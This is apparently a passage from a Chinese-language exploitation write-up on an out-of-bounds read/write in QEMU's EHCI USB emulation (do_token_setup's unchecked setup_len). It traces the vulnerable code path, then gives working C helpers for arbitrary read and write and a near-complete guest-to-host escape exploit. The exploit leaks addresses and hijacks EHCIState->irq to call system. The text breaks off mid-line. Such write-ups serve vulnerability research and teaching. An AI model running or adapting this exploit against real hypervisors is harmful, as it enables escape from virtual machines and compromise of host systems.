(((x) >> 1) & 3)
这个函数实现了一个状态机,可以完成不同状态之间的转换。通过调试,发现函数总是会优先进入到EST_FETCHENTRY
这个分支,然后会调用ehci_state_fetchentry
这个函数。
这个函数会调用ehci_get_fetch_addr
函数获取ehci->p_fetch_addr
作为entry
。这里我们的目的是进入到NLPTR_TYPE_QH
这个分支中,所以需要设置entry >> 1 & 3 == NLPTR_TYPE_QH
。也即需要设置*ehci->periodiclistbase == target_addr + 2
。
之后回到ehci_advance_state
函数中,并进入到EST_FETCHQH
状态中,调用ehci_state_fetchqh
函数。
ehci_state_fetchqh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 static EHCIQueue *ehci_state_fetchqh (EHCIState *ehci, int async) { uint32_t entry; EHCIQueue *q; EHCIqh qh; entry = ehci_get_fetch_addr(ehci, async); q = ehci_find_queue_by_qh(ehci, entry, async); if (q == NULL ) { q = ehci_alloc_queue(ehci, entry, async); } q->seen++; if (q->seen > 1 ) { ehci_set_state(ehci, async, EST_ACTIVE); q = NULL ; goto out; } if (get_dwords(ehci, NLPTR_GET(q->qhaddr), (uint32_t *)&qh, sizeof (EHCIqh) >> 2 ) < 0 ) { q = NULL ; goto out; } ehci_trace_qh(q, NLPTR_GET(q->qhaddr), &qh); if (!ehci_verify_qh(q, &qh)) { if (ehci_reset_queue(q) > 0 ) { ehci_trace_guest_bug(ehci, "guest updated active QH" ); } } q->qh = qh; q->transact_ctr = get_field(q->qh.epcap, QH_EPCAP_MULT); if (q->transact_ctr == 0 ) { q->transact_ctr = 4 ; } if (q->dev == NULL ) { q->dev = ehci_find_device(q->ehci, get_field(q->qh.epchar, QH_EPCHAR_DEVADDR)); } if (async && (q->qh.epchar & QH_EPCHAR_H)) { if (ehci->usbsts & USBSTS_REC) { ehci_clear_usbsts(ehci, USBSTS_REC); } else { DPRINTF("FETCHQH: QH 0x%08x. H-bit set, reclamation status reset" " - done processing\n" , q->qhaddr); ehci_set_state(ehci, async, EST_ACTIVE); q = NULL ; goto out; } }#if EHCI_DEBUG if (q->qhaddr != q->qh.next) { DPRINTF("FETCHQH: QH 0x%08x (h %x halt %x active %x) next 0x%08x\n" , q->qhaddr, q->qh.epchar & QH_EPCHAR_H, q->qh.token & QTD_TOKEN_HALT, q->qh.token & QTD_TOKEN_ACTIVE, q->qh.next); }#endif if (q->qh.token & QTD_TOKEN_HALT) { ehci_set_state(ehci, async, EST_HORIZONTALQH); } else if ((q->qh.token & QTD_TOKEN_ACTIVE) && (NLPTR_TBIT(q->qh.current_qtd) == 0 ) && (q->qh.current_qtd != 0 )) { q->qtdaddr = q->qh.current_qtd; ehci_set_state(ehci, async, EST_FETCHQTD); } else { ehci_set_state(ehci, async, EST_ADVANCEQUEUE); } out: return q; }
这个函数首先调用ehci_get_fetch_addr
函数获取ehci->p_fetch_addr
作为entry
,然后分配一个EHCIQueue
结构体,接着一个关键部分如下:
1 2 get_dwords(ehci, NLPTR_GET(q->qhaddr), (uint32_t *)&qh, sizeof (EHCIqh) >> 2 )
通过get_dwords
函数获取q-qhaddr
地址的内容为EHCIqh
结构体qh
赋值,而q->qhaddr
也即上文中的entry
,所以这个结构体qh
是我们可控的。然后设置q->qh.token
的值,使程序运行到[1]
处,设置q->qtdaddr = q->qh.current_qtd
以及状态机的状态。最终返回到ehci_advance_state
,并进入到EST_FETCHQTD
这个状态中。
ehci_state_fetchqtd
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 static int ehci_state_fetchqtd (EHCIQueue *q) { EHCIqtd qtd; EHCIPacket *p; int again = 1 ; uint32_t addr; addr = NLPTR_GET(q->qtdaddr); if (get_dwords(q->ehci, addr + 8 , &qtd.token, 1 ) < 0 ) { return 0 ; } barrier(); if (get_dwords(q->ehci, addr + 0 , &qtd.next, 1 ) < 0 || get_dwords(q->ehci, addr + 4 , &qtd.altnext, 1 ) < 0 || get_dwords(q->ehci, addr + 12 , qtd.bufptr, ARRAY_SIZE(qtd.bufptr)) < 0 ) { return 0 ; } ehci_trace_qtd(q, NLPTR_GET(q->qtdaddr), &qtd); p = QTAILQ_FIRST(&q->packets); if (p != NULL ) { if (!ehci_verify_qtd(p, &qtd)) { ehci_cancel_queue(q); if (qtd.token & QTD_TOKEN_ACTIVE) { ehci_trace_guest_bug(q->ehci, "guest updated active qTD" ); } p = NULL ; } else { p->qtd = qtd; ehci_qh_do_overlay(q); } } if (!(qtd.token & QTD_TOKEN_ACTIVE)) { ehci_set_state(q->ehci, q->async, EST_HORIZONTALQH); } else if (p != NULL ) { switch (p->async) { case EHCI_ASYNC_NONE: case EHCI_ASYNC_INITIALIZED: ehci_set_state(q->ehci, q->async, EST_EXECUTE); break ; case EHCI_ASYNC_INFLIGHT: again = ehci_fill_queue(QTAILQ_LAST(&q->packets)); ehci_set_state(q->ehci, q->async, EST_HORIZONTALQH); break ; case EHCI_ASYNC_FINISHED: ehci_set_state(q->ehci, q->async, EST_EXECUTING); break ; } } else { p = ehci_alloc_packet(q); p->qtdaddr = q->qtdaddr; p->qtd = qtd; ehci_set_state(q->ehci, q->async, EST_EXECUTE); } return again; }
由上述分析可知,q->qtdaddr
字段是可控的,只需要满足qtd.token & QTD_TOKEN_ACTIVE != 0
即可执行到目标地址。设置状态机状态为EST_EXECUTE
,返回到ehci_advance_state
函数中,最终执行到ehci_state_execute
函数中。
ehci_state_execute
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 static int ehci_state_execute (EHCIQueue *q) { EHCIPacket *p = QTAILQ_FIRST(&q->packets); int again = 0 ; assert(p != NULL ); assert(p->qtdaddr == q->qtdaddr); if (ehci_qh_do_overlay(q) != 0 ) { return -1 ; } if (!q->async && q->transact_ctr == 0 ) { ehci_set_state(q->ehci, q->async, EST_HORIZONTALQH); again = 1 ; goto out; } if (q->async) { ehci_set_usbsts(q->ehci, USBSTS_REC); } again = ehci_execute(p, "process" ); if (again == -1 ) { goto out; } if (p->packet.status == USB_RET_ASYNC) { ehci_flush_qh(q); trace_usb_ehci_packet_action(p->queue , p, "async" ); p->async = EHCI_ASYNC_INFLIGHT; ehci_set_state(q->ehci, q->async, EST_HORIZONTALQH); if (q->async) { again = ehci_fill_queue(p); } else { again = 1 ; } goto out; } ehci_set_state(q->ehci, q->async, EST_EXECUTING); again = 1 ; out: return again; }
这里没做什么判断就直接调用ehci_execute
函数。
ehci_execute
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 static int ehci_execute (EHCIPacket *p, const char *action) { USBEndpoint *ep; int endp; bool spd; assert(p->async == EHCI_ASYNC_NONE || p->async == EHCI_ASYNC_INITIALIZED); if (!(p->qtd.token & QTD_TOKEN_ACTIVE)) { fprintf (stderr , "Attempting to execute inactive qtd\n" ); return -1 ; } if (get_field(p->qtd.token, QTD_TOKEN_TBYTES) > BUFF_SIZE) { ehci_trace_guest_bug(p->queue ->ehci, "guest requested more bytes than allowed" ); return -1 ; } if (!ehci_verify_pid(p->queue , &p->qtd)) { ehci_queue_stopped(p->queue ); } p->pid = ehci_get_pid(&p->qtd); p->queue ->last_pid = p->pid; endp = get_field(p->queue ->qh.epchar, QH_EPCHAR_EP); ep = usb_ep_get(p->queue ->dev, p->pid, endp); if (p->async == EHCI_ASYNC_NONE) { if (ehci_init_transfer(p) != 0 ) { return -1 ; } spd = (p->pid == USB_TOKEN_IN && NLPTR_TBIT(p->qtd.altnext) == 0 ); usb_packet_setup(&p->packet, p->pid, ep, 0 , p->qtdaddr, spd, (p->qtd.token & QTD_TOKEN_IOC) != 0 ); usb_packet_map(&p->packet, &p->sgl); p->async = EHCI_ASYNC_INITIALIZED; } trace_usb_ehci_packet_action(p->queue , p, action); usb_handle_packet(p->queue ->dev, &p->packet); DPRINTF("submit: qh 0x%x next 0x%x qtd 0x%x pid 0x%x len %zd endp 0x%x " "status %d actual_length %d\n" , p->queue ->qhaddr, p->qtd.next, p->qtdaddr, p->pid, p->packet.iov.size, endp, p->packet.status, p->packet.actual_length); if (p->packet.actual_length > BUFF_SIZE) { fprintf (stderr , "ret from usb_handle_packet > BUFF_SIZE\n" ); return -1 ; } return 1 ; }
这里对p->qtd.token
字段进行一些判断,由于这个字段是可控的,所以我们很容易可以过掉这个判断,进而运行到片段[1]
中,片段[1]
是初始化与设备交互的用户内存空间。然后执行到usb_handle_packet
函数中。
usb_handle_packet
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 void usb_handle_packet (USBDevice *dev, USBPacket *p) { if (dev == NULL ) { p->status = USB_RET_NODEV; return ; } assert(dev == p->ep->dev); assert(dev->state == USB_STATE_DEFAULT); usb_packet_check_state(p, USB_PACKET_SETUP); assert(p->ep != NULL ); if (p->ep->halted) { assert(QTAILQ_EMPTY(&p->ep->queue )); p->ep->halted = false ; } if (QTAILQ_EMPTY(&p->ep->queue ) || p->ep->pipeline || p->stream) { usb_process_one(p); if (p->status == USB_RET_ASYNC) { assert(p->ep->type != USB_ENDPOINT_XFER_ISOC); assert(p->ep->type != USB_ENDPOINT_XFER_INT || (dev->flags & (1 << USB_DEV_FLAG_IS_HOST))); usb_packet_set_state(p, USB_PACKET_ASYNC); QTAILQ_INSERT_TAIL(&p->ep->queue , p, queue ); } else if (p->status == USB_RET_ADD_TO_QUEUE) { usb_queue_one(p); } else { assert(p->stream || !p->ep->pipeline || QTAILQ_EMPTY(&p->ep->queue )); if (p->status != USB_RET_NAK) { usb_packet_set_state(p, USB_PACKET_COMPLETE); } } } else { usb_queue_one(p); } }
这里直接调用usb_process_one
函数。
usb_process_one
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 static void usb_process_one (USBPacket *p) { USBDevice *dev = p->ep->dev; p->status = USB_RET_SUCCESS; if (p->ep->nr == 0 ) { if (p->parameter) { do_parameter(dev, p); return ; } switch (p->pid) { case USB_TOKEN_SETUP: do_token_setup(dev, p); break ; case USB_TOKEN_IN: do_token_in(dev, p); break ; case USB_TOKEN_OUT: do_token_out(dev, p); break ; default : p->status = USB_RET_STALL; } } else { usb_device_handle_data(dev, p); } }
函数通过p->pid
判断进入哪个分支,而pid
是我们可控的,从而可以确定进入到哪个分支。这里进入到USB_TOKEN_SETUP
分支,调用do_token_setup
函数。
do_token_setup
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 static void do_token_setup (USBDevice *s, USBPacket *p) { int request, value, index; if (p->iov.size != 8 ) { p->status = USB_RET_STALL; return ; } usb_packet_copy(p, s->setup_buf, p->iov.size); s->setup_index = 0 ; p->actual_length = 0 ; s->setup_len = (s->setup_buf[7 ] << 8 ) | s->setup_buf[6 ]; if (s->setup_len > sizeof (s->data_buf)) { fprintf (stderr , "usb_generic_handle_packet: ctrl buffer too small (%d > %zu)\n" , s->setup_len, sizeof (s->data_buf)); p->status = USB_RET_STALL; return ; } }
这里是漏洞发生的位置,[1]
处通过用户可控的p->iov.base
与p->iov.size
对s->setup_buf
进行赋值,从而能够控制s->setup_len
的长度,造成后续的越界读写。
漏洞利用 越界读
调用do_token_setup
设置越界长度
调用do_token_in
将s->data_buf
数据复制到用户空间,实现越界读
1 2 3 4 5 6 7 8 9 10 11 12 13 void do_copy_read () { reset_enable_port(); set_qh(); qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_IN << QTD_TOKEN_PID_SH | 0x1e00 << QTD_TOKEN_TBYTES_SH; qtd->bufptr[0 ] = virt2phys(data_buf); qtd->bufptr[1 ] = virt2phys(data_buf_oob); set_EHCIState(); printf ("do_copy_read Success!\n" ); }
越界写
调用do_token_setup
设置越界长度
调用do_token_out
将用户空间数据写入s->data_buf
中,实现越界写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 void do_copy_write (int offset, unsigned int setup_len, unsigned int setup_index) { reset_enable_port(); set_qh(); *(unsigned long *)(data_buf_oob + offset) = 0x0000000200000002 ; *(unsigned int *)(data_buf_oob + 0x8 +offset) = setup_len; *(unsigned int *)(data_buf_oob + 0xc + offset) = setup_index; qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_OUT << QTD_TOKEN_PID_SH | 0x1e00 << QTD_TOKEN_TBYTES_SH; qtd->bufptr[0 ] = virt2phys(data_buf); qtd->bufptr[1 ] = virt2phys(data_buf_oob); set_EHCIState(); printf ("do_copy_write Success!\n" ); }
任意读 这里的任意读是在越界读写的条件下,实现任意地址读。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 unsigned long arb_read (uint64_t target_addr) { setup_state_data(); set_length(0x1010 , USB_DIR_OUT); do_copy_write(0 , 0x1010 , 0xfffffff8 -0x1010 ); *(unsigned long *)(data_buf) = 0x2000000000000080 ; unsigned int target_offset = target_addr - data_buf_addr; do_copy_write(0x8 , 0xffff , target_offset - 0x1018 ); do_copy_read(); return *(unsigned long *)(data_buf); printf ("arb_read Success!\n" ); }
任意写 同上述任意读,实现任意写的思路如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 void arb_write (uint64_t target_addr, uint64_t payload) { setup_state_data(); set_length(0x1010 , USB_DIR_OUT); unsigned long offset = target_addr - data_buf_addr; do_copy_write(0 , offset+0x8 , offset-0x1010 ); *(unsigned long *)(data_buf) = payload; do_copy_write(0 , 0xffff , 0 ); printf ("arb_write Success!\n" ); }
利用思路
通过越界读,获取USBDevice
对象的地址,通过计算偏移,可以得到data_buf
与 USBPort
字段的地址。搜索越界读的内容,可以泄露代码段地址,可以得到程序基地址与system@plt
的地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 struct USBDevice { DeviceState qdev; USBPort *port; char *port_path; char *serial; void *opaque; uint32_t flags; int speed; int speedmask; uint8_t addr; char product_desc[32 ]; int auto_attach; bool attached; int32_t state; uint8_t setup_buf[8 ]; uint8_t data_buf[4096 ]; <----------- int32_t remote_wakeup; int32_t setup_state; int32_t setup_len; int32_t setup_index; USBEndpoint ep_ctl; USBEndpoint ep_in[USB_MAX_ENDPOINTS]; USBEndpoint ep_out[USB_MAX_ENDPOINTS]; }struct USBEndpoint { uint8_t nr; uint8_t pid; uint8_t type; uint8_t ifnum; int max_packet_size; int max_streams; bool pipeline; bool halted; USBDevice *dev; QTAILQ_HEAD(, USBPacket) queue ; };
USBDevice 会在 realize 时,调用usb_claim_port
,将USBDevice中的port字段设置为指向 EHCIState中的ports的地址,读取USBDevice->port
的内容就能获得EHCIState->ports
的地址,减去偏移得到 EHCIState
的地址。进而得到EHCIState->irq
地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 static void usb_device_class_init (ObjectClass *klass, void *data) { DeviceClass *k = DEVICE_CLASS(klass); k->bus_type = TYPE_USB_BUS; k->realize = usb_qdev_realize; k->unrealize = usb_qdev_unrealize; k->props = usb_props; }static void usb_qdev_realize (DeviceState *qdev, Error **errp) { USBDevice *dev = USB_DEVICE(qdev); Error *local_err = NULL ; pstrcpy(dev->product_desc, sizeof (dev->product_desc), usb_device_get_product_desc(dev)); dev->auto_attach = 1 ; QLIST_INIT(&dev->strings); usb_ep_init(dev); usb_claim_port(dev, &local_err); if (local_err) { error_propagate(errp, local_err); return ; } usb_device_realize(dev, &local_err); if (local_err) { usb_release_port(dev); error_propagate(errp, local_err); return ; } if (dev->auto_attach) { usb_device_attach(dev, &local_err); if (local_err) { usb_qdev_unrealize(qdev, NULL ); error_propagate(errp, local_err); return ; } } }void usb_claim_port (USBDevice *dev, Error **errp) { USBBus *bus = usb_bus_from_device(dev); USBPort *port; assert(dev->port == NULL ); if (dev->port_path) { QTAILQ_FOREACH(port, &bus->free , next) { if (strcmp (port->path, dev->port_path) == 0 ) { break ; } } if (port == NULL ) { error_setg(errp, "usb port %s (bus %s) not found (in use?)" , dev->port_path, bus->qbus.name); return ; } } else { if (bus->nfree == 1 && strcmp (object_get_typename(OBJECT(dev)), "usb-hub" ) != 0 ) { usb_try_create_simple(bus, "usb-hub" , NULL ); } if (bus->nfree == 0 ) { error_setg(errp, "tried to attach usb device %s to a bus " "with no free ports" , dev->product_desc); return ; } port = QTAILQ_FIRST(&bus->free ); } trace_usb_port_claim(bus->busnr, port->path); QTAILQ_REMOVE(&bus->free , port, next); bus->nfree--; dev->port = port; port->dev = dev; QTAILQ_INSERT_TAIL(&bus->used, port, next); bus->nused++; }void usb_ehci_realize (EHCIState *s, DeviceState *dev, Error **errp) { int i; if (s->portnr > NB_PORTS) { error_setg(errp, "Too many ports! Max. port number is %d." , NB_PORTS); return ; } if (s->maxframes < 8 || s->maxframes > 512 ) { error_setg(errp, "maxframes %d out if range (8 .. 512)" , s->maxframes); return ; } usb_bus_new(&s->bus, sizeof (s->bus), s->companion_enable ? &ehci_bus_ops_companion : &ehci_bus_ops_standalone, dev); for (i = 0 ; i < s->portnr; i++) { usb_register_port(&s->bus, &s->ports[i], s, i, &ehci_port_ops, USB_SPEED_MASK_HIGH); s->ports[i].dev = 0 ; } s->frame_timer = timer_new_ns(QEMU_CLOCK_VIRTUAL, ehci_work_timer, s); s->async_bh = qemu_bh_new(ehci_work_bh, s); s->device = dev; s->vmstate = qemu_add_vm_change_state_handler(usb_ehci_vm_state_change, s); }
利用任意写将EHCIState->irq
内容填充为伪造的irq地址,将handler 填充成system@plt
地址,opaque
填充成参数的地址。其调用链如下:
1 ehci_advance_periodic_static -> ehci_advance_state -> ehci_reset -> usb_detach -> ehci_detach -> ehci_raise_irq -> ehci_update_irq -> qemu_set_irq
Exploit 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 #include <assert.h> #include <fcntl.h> #include <inttypes.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <sys/types.h> #include <unistd.h> #include <sys/io.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <sys/types.h> #include <sys/socket.h> #include <stdbool.h> #include <netinet/in.h> struct EHCIqh * qh ;struct EHCIqtd * qtd ;struct ohci_td * td ;char *dmabuf;char *setup_buf;unsigned char *mmio_mem;unsigned char *data_buf;unsigned char *data_buf_oob;uint32_t *entry;uint64_t dev_addr;uint64_t data_buf_addr;uint64_t USBPort_addr; #define PORTSC_PRESET (1 << 8) #define PORTSC_PED (1 << 2) #define USBCMD_RUNSTOP (1 << 0) #define USBCMD_PSE (1 << 4) #define USB_DIR_OUT 0 #define USB_DIR_IN 0x80 #define QTD_TOKEN_ACTIVE (1 << 7) #define USB_TOKEN_SETUP 2 #define USB_TOKEN_IN 1 #define USB_TOKEN_OUT 0 #define QTD_TOKEN_TBYTES_SH 16 #define QTD_TOKEN_PID_SH 8 typedef struct USBDevice USBDevice ;typedef struct USBEndpoint USBEndpoint ;struct USBEndpoint { uint8_t nr; uint8_t pid; uint8_t type; uint8_t ifnum; int max_packet_size; int max_streams; bool pipeline; bool halted; USBDevice *dev; USBEndpoint *fd; USBEndpoint *bk; };struct USBDevice { int32_t remote_wakeup; int32_t setup_state; int32_t setup_len; int32_t setup_index; USBEndpoint ep_ctl; USBEndpoint ep_in[15 ]; USBEndpoint ep_out[15 ]; };typedef struct EHCIqh { uint32_t next; uint32_t epchar; uint32_t epcap; uint32_t current_qtd; uint32_t next_qtd; uint32_t altnext_qtd; uint32_t token; uint32_t bufptr[5 ]; } EHCIqh;typedef struct EHCIqtd { uint32_t next; uint32_t altnext; uint32_t token; uint32_t bufptr[5 ]; } EHCIqtd;uint64_t virt2phys (void * p) { uint64_t virt = (uint64_t )p; int fd = open("/proc/self/pagemap" , O_RDONLY); if (fd == -1 ) die("open" ); uint64_t offset = (virt / 0x1000 ) * 8 ; lseek(fd, offset, SEEK_SET); uint64_t phys; if (read(fd, &phys, 8 ) != 8 ) die("read" ); phys = (phys & ((1ULL << 54 ) - 1 )) * 0x1000 +(virt&0xfff ); close(fd); return phys; }void die (const char * msg) { perror(msg); exit (-1 ); }void mmio_write (uint32_t addr, uint32_t value) { *((uint32_t *)(mmio_mem + addr)) = value; }uint64_t mmio_read (uint32_t addr) { return *((uint64_t *)(mmio_mem + addr)); }void init () { int mmio_fd = open("/sys/devices/pci0000:00/0000:00:1d.7/resource0" , O_RDWR | O_SYNC); if (mmio_fd == -1 ) die("mmio_fd open failed" ); mmio_mem = mmap(0 , 0x1000 , PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0 ); if (mmio_mem == MAP_FAILED) die("mmap mmio_mem failed" ); printf ("mmio_mem: 0x%lx\n" , (uint64_t )mmio_mem); int i; for (i = 0 ; i < 0x1000 ; ++i) { dmabuf = mmap(NULL , 0x3000 , PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_ANONYMOUS, -1 , 0 ); if (dmabuf == MAP_FAILED) die("mmap" ); *(char *)dmabuf = 'a' ; *(char *)(dmabuf + 0x1000 ) = 'b' ; *(char *)(dmabuf + 0x2000 ) = 'c' ; entry = dmabuf + 4 ; qh = dmabuf + 0x100 ; qtd = dmabuf + 0x200 ; setup_buf = dmabuf + 0x300 ; data_buf = dmabuf + 0x1000 ; data_buf_oob = dmabuf + 0x2000 ; if (virt2phys(data_buf) + 0x1000 == virt2phys(data_buf_oob)) { printf ("dmabuf: 0x%lx\n" , (uint64_t )dmabuf); printf ("phy_dmabuf: 0x%lx\n" , virt2phys(dmabuf)); printf ("data_buf: 0x%lx\n" , (uint64_t )data_buf); printf ("phy_data_buf: 0x%lx\n" , virt2phys(data_buf)); printf ("data_buf_oob: 0x%lx\n" , (uint64_t )data_buf_oob); printf ("phy_data_buf_oob: 0x%lx\n" , virt2phys(data_buf_oob)); break ; } else { continue ; } } if (i == 0x1000 ) { die("Unable to find a contiguous physical address!" ); } printf ("init Success!\n" ); }void reset_enable_port () { mmio_write(0x64 , PORTSC_PRESET); mmio_write(0x64 , PORTSC_PED); }void set_EHCIState () { mmio_write(0x2C , 0 ); mmio_write(0x34 , virt2phys(dmabuf)); mmio_write(0x20 , USBCMD_RUNSTOP | USBCMD_PSE); sleep(1 ); }void set_qh () { qh->epchar = 0x00 ; qh->token = QTD_TOKEN_ACTIVE; qh->current_qtd = virt2phys(qtd); }void init_state () { reset_enable_port(); set_qh(); setup_buf[6 ] = 0xff ; setup_buf[7 ] = 0x0 ; qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_SETUP << QTD_TOKEN_PID_SH | 8 << QTD_TOKEN_TBYTES_SH; qtd->bufptr[0 ] = virt2phys(setup_buf); *entry = virt2phys(qh)+0x2 ; set_EHCIState(); printf ("init_state Success!\n" ); }void set_length (uint16_t len,uint8_t option) { reset_enable_port(); set_qh(); setup_buf[0 ] = option; setup_buf[6 ] = len & 0xff ; setup_buf[7 ] = (len >> 8 ) & 0xff ; qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_SETUP << QTD_TOKEN_PID_SH | 8 << QTD_TOKEN_TBYTES_SH; qtd->bufptr[0 ] = virt2phys(setup_buf); set_EHCIState(); printf ("set_length Success!\n" ); }void do_copy_read () { reset_enable_port(); set_qh(); qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_IN << QTD_TOKEN_PID_SH | 0x1e00 << QTD_TOKEN_TBYTES_SH; qtd->bufptr[0 ] = virt2phys(data_buf); qtd->bufptr[1 ] = virt2phys(data_buf_oob); set_EHCIState(); printf ("do_copy_read Success!\n" ); }void do_copy_write (int offset, unsigned int setup_len, unsigned int setup_index) { reset_enable_port(); set_qh(); *(unsigned long *)(data_buf_oob + offset) = 0x0000000200000002 ; *(unsigned int *)(data_buf_oob + 0x8 +offset) = setup_len; *(unsigned int *)(data_buf_oob + 0xc + offset) = setup_index; qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_OUT << QTD_TOKEN_PID_SH | 0x1e00 << QTD_TOKEN_TBYTES_SH; qtd->bufptr[0 ] = virt2phys(data_buf); qtd->bufptr[1 ] = virt2phys(data_buf_oob); set_EHCIState(); printf ("do_copy_write Success!\n" ); }void setup_state_data () { set_length(0x500 , USB_DIR_OUT); }void arb_write (uint64_t target_addr, uint64_t payload) { setup_state_data(); set_length(0x1010 , USB_DIR_OUT); unsigned long offset = target_addr - data_buf_addr; do_copy_write(0 , offset+0x8 , offset-0x1010 ); *(unsigned long *)(data_buf) = payload; do_copy_write(0 , 0xffff , 0 ); printf ("arb_write Success!\n" ); }unsigned long arb_read (uint64_t target_addr) { setup_state_data(); set_length(0x1010 , USB_DIR_OUT); do_copy_write(0 , 0x1010 , 0xfffffff8 -0x1010 ); *(unsigned long *)(data_buf) = 0x2000000000000080 ; unsigned int target_offset = target_addr - data_buf_addr; do_copy_write(0x8 , 0xffff , target_offset - 0x1018 ); do_copy_read(); return *(unsigned long *)(data_buf); printf ("arb_read Success!\n" ); }void debug () { getchar(); getchar(); }int main () { init(); iopl(3 ); outw(0 ,0xc080 ); outw(0 ,0xc0a0 ); outw(0 ,0xc0c0 ); sleep(3 ); init_state(); set_length(0x200 , USB_DIR_IN); set_length(0x2000 , USB_DIR_IN); do_copy_read(); for (int i = 0 ; i < 0x20 ; ++i) { printf ("data_buf[%d]: %lx\n" , i, *(uint64_t *)(data_buf + i * 8 )); } printf ("--------------------------------------------\n" ); for (int i = 0 ; i < 0x20 ; ++i) { printf ("data_buf_oob[%d]: %lx\n" , i, *(uint64_t *)(data_buf_oob + i * 8 )); } struct USBDevice * usb_device_tmp = data_buf_oob + 0x4 ; struct USBDevice usb_device ; memcpy (&usb_device, usb_device_tmp, sizeof (USBDevice)); dev_addr = usb_device.ep_ctl.dev; data_buf_addr = dev_addr + 0xdc ; USBPort_addr = dev_addr + 0x78 ; printf ("USBDevice dev_addr: 0x%llx\n" , dev_addr); printf ("USBDevice->data_buf: 0x%llx\n" , data_buf_addr); printf ("USBPort_addr: 0x%llx\n" , USBPort_addr); uint64_t *tmp=data_buf_oob+0x4fc ; long long leak_addr = *tmp; if (leak_addr == 0 ){ printf ("INIT DOWN,DO IT AGAIN\n" ); return 0 ; } long long base = leak_addr - 0x1111090 ; uint64_t system_plt = base + 0x2D4B50 ; printf ("leak elf_base address : 0x%llx!\n" , base); printf ("leak system_plt address: 0x%llx!\n" , system_plt); unsigned long USBPort_ptr = arb_read(USBPort_addr); unsigned long EHCIState_addr = USBPort_ptr - 0x540 ; unsigned long irq_addr = EHCIState_addr + 0xc0 ; unsigned long fake_irq_addr = data_buf_addr; unsigned long irq_ptr = arb_read(irq_addr); printf ("EHCIState_addr: 0x%llx\n" , EHCIState_addr); printf ("USBPort_ptr: 0x%llx\n" , USBPort_ptr); printf ("irq_addr: 0x%llx\n" , irq_addr); printf ("fake_irq_addr: 0x%llx\n" , fake_irq_addr); printf ("irq_ptr: 